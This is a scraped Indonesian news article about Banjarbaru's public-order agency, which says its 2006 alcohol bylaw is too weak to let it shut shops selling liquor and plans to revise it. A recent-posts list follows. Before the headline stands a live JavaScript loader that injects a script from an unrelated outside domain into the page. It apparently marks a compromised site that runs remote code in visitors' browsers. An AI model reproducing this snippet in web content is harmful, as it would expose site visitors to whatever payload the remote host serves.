(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Sanksi Perda Miras di Banjarbaru Kelewat Ringan, Satpol PP Tak Kuasa Tutup Toko Penyedia Miras


KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru memiliki Peraturan Daerah (Perda) Nomor 5 Tahun 2006 yang mengatur tentang minuman beralkohol. Sayangnya, walaupun sudah memiliki Perda tersebut, minuman beralkohol di Kota Banjarbaru masih marak beredar dengan hukuman yang diterima pelanggar kelewat ringan.

Seperti pelanggar Perda Miras di salah satu ruko Jalan Panglima Batur, ruko khusus penyedia minuman beralkohol tersebut dua kali digerebek dan kedapatan menjual minuman keras (Miras), tapi aparat penegak Perda tak kuasa  menutup tempat itu.

Beranjak dari kasus tersebut, Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru merencanakan akan melakukan revisi pada beberapa pasal yang tidak relevan lagi dengan perkembangan zaman agar tidak ada ganjalan penerapan Perda di lapangan.

 

Baca juga: Baru Terjun Lakoni Esek-esek Langsung Terciduk Satpol PP Banjarbaru

Kepala Satpol PP Banjarbaru, Hidayaturahman mengatakan, beberapa pasal salam Perda Miras yang ada hingga saat ini sudah harus diubah. Dan pihaknya berencana akan melakukan revisi terhadap beberapa Perda yang diklaim memiliki usia yang sudah cukup lama.

“Tidak hanya Perda yang berkaitan miras, tetapi semua Perda yang dinilai perlu direvisi menyesuaikan keadaan kondisi saat ini,” ujarnya, Rabu (15/2/2023) siang

Kasatpol PP Banjarbaru Hidayaturahman. Foto: Ibnu

Menurutnya dengan Kota Banjarbaru menjadi Ibu Kota Provinsi Kalsel, sudah seharusnya memiliki perangkat hukum yang kuat dan memadai.

Terkait Perda Miras, kata Dayat, pihaknya akan berkonsultasi dengan beberapa pihak, mulai dari Bagian Hukum Pemko Banjarbaru, kepolisian dan DPRD Banjarbaru.

Bahkan, diakui Dayat, dari Perda Nomor 5 tahun 2006, pihaknya tidak bisa menutup total toko yang memperjualbelikan Miras tersebut.

Baca juga: Hari Khusus Perempuan Berhasil, Disporabudpar Banjarbaru Siapkan Kolam Renang Khusus Perempuan

Ada beberapa poin yang akan menjadi revisi pada Perda itu, seperti kewenangan pihaknya bisa menutup total kegiatan penjualan Miras di Banjarbaru, selain membayar denda dan barang bukti dimusnahkan.

“Dengan adanya sanksi ini bisa menimbulkan efek jera bagi pelaku penjual Miras, kan selama ini ini tidak bisa penjual atau toko ditutup” sebutnya.

Selain Miras ini, kata Dayat, ada beberapa Perda yang akan direvisi, seperti Perda ketertiban umum, prostitusi dan pedagang kaki lima termasuk badut.(Kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: bie


Al Ghifari

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

11 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

11 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

11 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

11 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

12 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

12 jam ago

This website uses cookies.